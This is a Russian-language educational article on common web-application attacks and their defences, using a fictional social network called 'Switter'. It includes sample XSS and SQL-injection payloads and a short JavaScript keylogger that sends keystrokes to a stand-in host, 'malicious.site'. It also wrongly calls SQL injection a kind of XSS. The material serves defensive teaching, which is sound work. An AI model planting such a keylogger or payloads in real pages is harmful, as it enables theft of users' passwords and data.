skip to main content

Безопасность веб-приложений и распространённые атаки

js

Кратко 🔗

Веб-приложения, как и любые другие, можно «взломать». Если в приложении есть место, куда можно ввести текст, загрузить изображение, передать какую-то информацию, злоумышленники могут использовать это место для атаки.

Уязвимостей у веб-приложений много. В этой статье мы детально рассмотрим лишь самые распространённые.

Не используйте упомянутые здесь атаки для непосредственно атак. Используйте знания о них только для того, чтобы уметь от них защищаться.

Под атакой мы будем подразумевать любое действие, приносящее вред пользователям: утечка их данных, неправильная работа сервиса, невозможность воспользоваться сервисом — всё это последствия различных атак.

Действия, непосредственно или косвенно приводящие к атаке, мы будем называть вредоносными. Людей, которые атаки проводят — злоумышленниками.

Click Jacking 🔗

Первая атака, которую мы рассмотрим — это click jacking.

Представьте, что вы разрабатываете соцсеть, скажем, Switter. Для регистрации вы просите пользователей указывать номер телефона и имя — персональные данные.

Если вашей соцсетью пользуется 10 тысяч человек, значит в ваших базах хранится 10 тысяч имён с телефонными номерами.

Допустим, злоумышленники хотят получить доступы к этим номерам. Они могут сделать следующее:

  • Создать вредоносную страницу с каким-то интерактивным элементом, например, мемасом с брендированной Switter кнопкой «Нравится» под ним;
  • Положить прозрачный iframe с загруженным в него Switter поверх вредоносной страницы;
  • Сделать так, чтобы пользователю захотелось нажать на «Нравится»;
  • Сделать так, чтобы при нажатии на «Нравится» пользователь на самом деле нажал бы на какую-то кнопку в iframe, который лежит поверх.
  • В зависимости от реализации дальше пользователя могут попросить либо авторизовать какое-то действие в соцсети, либо аутентифицироваться в ней.
  • По итогу пользователь может случайно отправить свои данные, даже не заметив этого.

схема атаки click jacking

Дело может не ограничиваться соцсетью — в прозрачном iframe может быть и банковская система, а злоумышленники могут таким образом отправлять деньги пользователей на свои счета.

Как защититься 🔗

Используйте HTTP-заголовок X-Frame-Options.

Этот серверный заголовок может разрешать или запрещать отображение страницы внутри фрейма. У него есть три значения:

  • DENY — никогда не показывать страницу внутри фрейма.
  • SAMEORIGIN — разрешить показ страницы внутри фрейма, но только если родительский документ имеет тот же источник.
  • ALLOW-FROM domain — разрешить показ страницы внутри фрейма, только если родительский документ находится на указанном домене.

Если в заголовках Switter мы укажем X-Frame-Options: SAMEORIGIN, то соцсеть будет загружаться в iframe только внутри самой соцсети. Все остальные домены не смогут отобразить её внутри iframe.

Интерактивный пример 🔗

На сайте application.security собраны интерактивные примеры подобных уязвимостей. Каждый из примеров расписан по шагам, это помогает лучше понять, в какой момент и что пошло не так. Посмотрите на пример clickjacking в 18 шагов :–)

Cross Site Scripting, XSS 🔗

XSS — это внедрение вредоносного кода на страницы атакуемого сервиса.

Продолжим пример с нашей слабозащищённой соцсетью Switter. Допустим, Switter предлагает поиск по твитам (свитам?..) пользователей.

  • Злоумышленник вводит <script>alert('XSS!');</script> в поле поиска;

  • Switter перебрасывает его на страницу поиска: http://switter.com/search?q=<script>alert('XSS!');</script>, где под полем должна быть поисковая выдача.

    • Если по запросу, ничего не нашлось, то под полем выводится текст «По запросу ... ничего не нашлось».
  • В нашем случае <script>alert('XSS!');</script> встраивается на страницу, и срабатывает alert().

схема атаки Cross Site Scripting

Конечно, вместо alert() злоумышленники могут написать более изощрённый скрипт, который будет, например, рассылать спам от имени пользователя.

Атака выше — это пример отражённого XSS (reflected XSS). Отражённого, потому что его действие сразу же отражается на поведении страницы. Кроме него есть хранимый (stored) XSS, о нём поговорим чуть дальше.

Как защититься 🔗

Каким бы маленьким и незначительным ни казалось поле ввода, всё, что пользователь пишет, следует экранировать.

Экранирование (escaping) — это замена специальных символов (например, которые браузер может принять за теги) другими, безопасными.

При экранировании запись <script>alert('XSS!');</script> превратится в &lt;script&gt;alert('XSS!');&lt/script&gt;. Такую запись браузер на распознает как тег или скрипт.

Для экранирования пользовательского ввода в JS следует использовать:

  • encodeURI — чтобы кодировать URI-адрес
  • encodeURIComponent — кодировать часть URI-адреса, например, searchQuery,
  • специальные библиотеки для замены <, >, ', " и других специальных символов.

Также на сервере следует проверять и при необходимости экранировать все данные, приходящие от клиента.

Интерактивный пример 🔗

Взгляните на пример DOM XSS и пример отражённого XSS на application.security.

SQL-Injection 🔗

SQL-инъекции (injection) — это один из видов XSS.

Их суть заключается в доступе к данным атакуемого сервиса или их изменению. Ну или удалению, всякое бывает.

Вернёмся снова к нашей несчастной соцсети. Когда злоумышленники обнаружили, что могут вызывать отражённые XSS на страницах, они подумали, что неплохо бы получить доступ ко всем пользовательским данным.

Допустим, они узнали, что БД у Switter — это MySQL. Тогда:

  • Злоумышленники могут найти форму на сайте, данные из которой отправляются в базу;
  • Написать SQL-код, который будет извлекать данные из какой-то таблицы;
  • Подобрать имя таблицы так, чтобы оно совпадало с именем, используемым в Switter;
  • Получить все данные из этой таблицы или удалить их.

К примеру, злоумышленники нашли форму логина. Они знают, что эта форма связана с таблицей пользователей. При логине они могут внедрить, например, такой код: UNION SELECT * FROM users.

Тогда настоящий запрос в базу дополнится командой, и если таблица с пользователями называется users, то злоумышленники получат все данные пользователей соцсети.

Как защититься 🔗

Экранировать SQL-инъекции на клиенте, пожалуй, бессмысленно. Однако, у серверных разработчиков обязательно должны быть инструменты, которые позволят работать с пользовательским вводом безопасно.

Интерактивный пример 🔗

Взгляните на пример SQL-инъекции на application.security.

Stored XSS 🔗

Хранимый (stored) XSS — это вредоносный код, который каким-то образом сохранился в атакуемом сервисе. Он мог быть записан в базу, сохранён на диске в виде текста, изображения, мог сохраниться в оперативной памяти сервера.

Главное его отличие от отражённого XSS в «отложенности» действия. Хранимый XSS может воспроизводиться сильно после атаки, а также несколько раз.

Для примера снова вернёмся к нашей злосчастной соцсети Switter. Чтобы отправить твит (свит?.. 😃), пользователи вводят текст в форме и отправляют эту форму на сервер.

Если злоумышленники знают, что Switter не экранирует пользовательский ввод, они могут сделать следующее:

  • Написать вместо текста сообщения нечто вроде <script>alert('XSS!')</script>;
  • Отправить cвит на сервер, чтобы он сохранился в базе;
  • Все пользователи, которые подписаны на аккаунт, с которого был отправлен этот твит, увидят в своих лентах это сообщение.
  • А так как сервис выводит всё без экранирования, каждый пользователь, у которого на экране появится этот свит, будет задет атакой и увидит alert()

схема атаки Stored XSS

Хранимый XSS очень опасен. Злоумышленники могут его использовать на конкретных страницах, чтобы красть данные, производить действия от имени пользователя и прочее, уже сильно позже самой атаки.

От него также сильно труднее избавиться, потому что для этого требуется очистить данные в БД или в другом хранилище.

Подобный вредоносный код, к слову, может самораспространяться, используя другие уязвимости сервиса.

Как защищаться 🔗

Да, вы угадали:

А ещё использовать Content-Security-Policy 🔗

Кроме всего прочего, против XSS рекомендуется использовать серверный заголовок Content-Security-Policy, который может запретить исполнение скриптов из ненадёжных источников.

Значение заголовка — это список доверенных источников, из которых пользователь может получать контент.

Например:

Content-Security-Policy: default-src 'self' *.trusted.com
// Значит, что мы разрешаем получать контент со своего домена
// и всех своих поддоменов, а также от домена trusted.com
// и всех его поддоменов.

Интерактивный пример 🔗

Взгляните на пример stored XSS на application.security.

Key Logger 🔗

Одна из разновидностей хранимого XSS — это key logger. Представим, что в прошлый раз злоумышленники оставили не alert(), а программу, которая отправляет куда-то всё, что вы набираете на клавиатуре.

document.body.addEventListener("keypress", (e) => {
// ...Злоумышленники собираются все данные о пользователе,
// которые им нужны: логин, время события, что угодно.
const data = { ...user, key: e.key }

// ...Переводят все данные в строку:
const params = new URLSearchParams()

// ...И «запрашивают картинку», но на самом деле
// отправляют запрос на свой сервер с данными о пользователе.
new Image().src = "https://malicious.site?data=" + encodeURIComponent(params)
})

Таким образом у пользователя могут украсть пароли и другие персональные данные.

Cross-Site Request Forgery, CSRF 🔗

Межсайтовая подделка запроса (Cross-Site Request Forgery, CSRF) — атака, при которой злоумышленники могут совершать действия как бы от лица пользователя.

Вернёмся к нашей совсем уж дырявой соцсети Switter. С последним обновлением Switter завёз пользователям возможность не только пересылать друг другу сообщения в личных переписках, но и деньги.

Злоумышленники знают, что после логина в Switter у пользователя остаются куки, которые потом используются для аутентификации. Они могут:

  • Заманить пользователя, который был аутентифицирован в Switter, на вредоносную страницу;
  • Используя его или её куки отправить запрос к Switter с «просьбой» переслать денег на конкретный аккаунт;
  • Так как пользователь «аутентифицирован» запрос считается «валидным», пользователь теряет деньги.

схема атаки Cross-Site Request Forgery

Проблемы здесь две:

  • Злоумышленники могли увидеть куки пользователя и таким образом выдать себя за него.
  • Сервису Switter достаточно аутентификации для перевода денег, он не требует авторизации запроса.
  • Аутентификация — подтверждение личности (Вася — это действительно Вася).
  • Авторизация — подтверждение, что у пользователя хватает прав, чтобы выполнить какое-то действие (Марина действительно хочет перевести деньги, вот подтверждение).

Как защититься 🔗

В первую очередь куки следует выставлять так, чтобы они были видны лишь для сервиса, который их выставил. Для этого можно использовать SameSite Cookie:

Set-Cookie: key=value; SameSite=Strict

Также, если с куками не должны работать клиентские скрипты, их можно спрятать:

Set-Cookie: key=value; HttpOnly

Это сделает куку видимой только для сервера и самого браузера (но в JS её использовать будет нельзя).

Также можно использовать CSRF-токены для подписи каждого запроса, который необходимо авторизовать. Такой токен гарантирует, что запрос был отправлен пользователем не случайно.

<form action="/send_money/" method="POST">
<!-- Этот токен может быть ассоциирован с конкретной формой
или даже с конкретным запросом для каждого пользователя.
Злоумышленнику незивестно, по какому принципу токен был сгенерирован,
поэтому и подделать его у него гораздо меньше шансов. -->

<input type="hidden" name="CSRF" value="token-generated-by-server">

<!-- ...Остальная форма -->
</form>

Для AJAX-запросов следует указывать CSP и CORS-политику.

Cross-Origin Resource Sharing, CORS — определяет, доступ к каким ресурсам есть у запросов с другого домена (origin).

Интерактивный пример 🔗

Взгляните на пример CSRF на application.security.

Denial of Service, DoS 🔗

Дос-атака (Denial of Service, DOS) — атака, которая старается довести атакуемый сервис до отказа.

В случае с Switter целью может быть, чтобы пользователи не могли ни открыть ленту, ни отправить новый свит.

Как правило, чтобы задосить веб-сервис, надо нагрузить его таким количеством запросов, чтобы он просто физически не мог их все обработать. Сделать это злоумышленникам проще всего с нескольких машин, отправляя пачки запросов одновременно.

Когда дос-атака распределена на несколько машин (потоков, пачек, whatever), она называется распределённой (distributed DoS, DDoS).

схема DoS атаки

Как защититься 🔗

Стопроцентного способа защититься нет, но можно попробовать:

  • Закрыться рейт-лимитером — частью программы, которая блокирует трафик по достижению лимита запросов. Лимит может выставляться, например, конкретному пользователю и IP-адресу. (Но это не сработает с DDoS.)
  • Нарастить ресурсы — увеличить пропускную способность, количество запросов, которые сервис может обработать.
  • Динамически заменять части сервиса, которые отказали, менять IP.
  • Перенаправить DDoS трафик на атакующего.
  • Использовать распределённые системы, чтобы лишить злоумышленников одной единственной цели.

Slowloris 🔗

Slowloris — это из разновидностей дос-атаки, при которой на сервер отправляется запрос, а данные пересылаются так ме-е-е-е-е-едленно, насколько это возможно

Так как данные всё ещё пересылаются, сервер не может просто так оборвать соединение. Но и заняться другими запросами он тоже не может, потому что занят этим.

Когда какое-то соединение всё же обрывается, атакующий инициализирует ещё одно. С помощью этой атаки можно используя лишь одну машину довести сервис до отказа.

схема атаки Slowloris

Как защититься 🔗

Указывать тайм-ауты для запросов, после которых соединение может быть разорвано. Использовать рейт-лимитеры для блокировки подозрительного трафика.

Data-bombs 🔗

Бомбами чаще всего бывают архивы или изображения. Они называются бомбами, потому что при разархивировании (в случае с архивами) или декомпрессии (в случае с изображениями) резко увеличиваются в размерах.

Самая известная бомба — это самоархивироанный архив 42.zip(http://42.zip). Он весит всего 42 КБ, но если начать его распаковывать, то он займёт 4.3 ГБ места на диске, а сам процесс распаковки — 4.5 петабайта оперативной памяти.

Как защититься 🔗

Зависит оттого, какие данные сервис принимает и на какой технологии работает сервер. Все методы защиты здесь исключительно лежат в области серверной разработки.

Лучшее (и единственное), что могут сделать фронтенд-разработчики — указывать ограничения на загружаемые файлы по MIME-типу и размеру.

Man in the Middle 🔗

«Чувак по середине» (Man in the Middle, MiM) — атака, которая заключается в просмотре (а возможно и подмене) трафика между клиентом и сервером.

Представим, что пользователь Switter (если остался хотя бы один после всех тех дыр, что мы рассмотрели) решает зайти в свой аккаунт из кафе.

В кафе он или она использует публичную Wi-Fi сеть и заходит в свой аккаунт. К сожалению, в том же кафе сидит злоумышленник, который пропускает весь трафик в этой сети через свой компьютер. А значит, может узнать логин и пароль пользователя.

(Мы сильно упрощаем, но грубо говоря, злоумышленник убедил все компьютеры в сети, что именно его ноутбук — это роутер. В итоге все запросы ото всех пользователей этой сети проходят через его ноутбук.)

схема атаки Man in the Middle

Проблема в том, что Switter использует протокол HTTP. При использовании HTTP всё общение между клиентом и сервером не зашифровано и происходит в открытом виде.

Даже если сервер и клиент будут использовать алгоритм RSA, чтобы шифровать общение, то всё равно на самое первое сообщение от клиента:

— Привет! Давай общаться приватно.

...Серверу придётся ответить текстом:

— Да, давай. Вот мой публичный ключ, который ты можешь использовать, чтобы подписывать свои сообщения. Тогда только я их смогу прочесть.

Мы не будем вдаваться в подробности, скажем лишь, что для раскодирования используется так называемый приватный ключ, который есть лишь у того, кому предназначается сообщение. Публичным ключом сообщение зашифровывается.

Проблема в том, что если злоумышленник знает, когда и какой ключ был отправлен, он может подменить его на свой.

Как защититься 🔗

HTTPS это HTTP, который использует шифрование. Данные передаются поверх особых защитных транспортных протоколов TLS (а до 2015 года — SSL), что делает их недоступными для злоумышленника.

Это работает потому, и клиент, и сервер используют ключи сертифицированного центра, а не сгенерированные самостоятельно. Если злоумышленник решит подменить хотя бы один бит в сообщении или ключе — клиент или сервер узнают, что общение скомпрометировано.

Атака всё ещё может сработать, если пользователь, например, пренебрегает предупреждением браузера, что соединение может быть не защищено.

Ещё одна проблема — всё держится на доверии. Если организация, подписывающая сертификаты, по какой-либо причине компрометирует их, то все клиенты и серверы, использующие эти сертификаты, будут подвержены риску.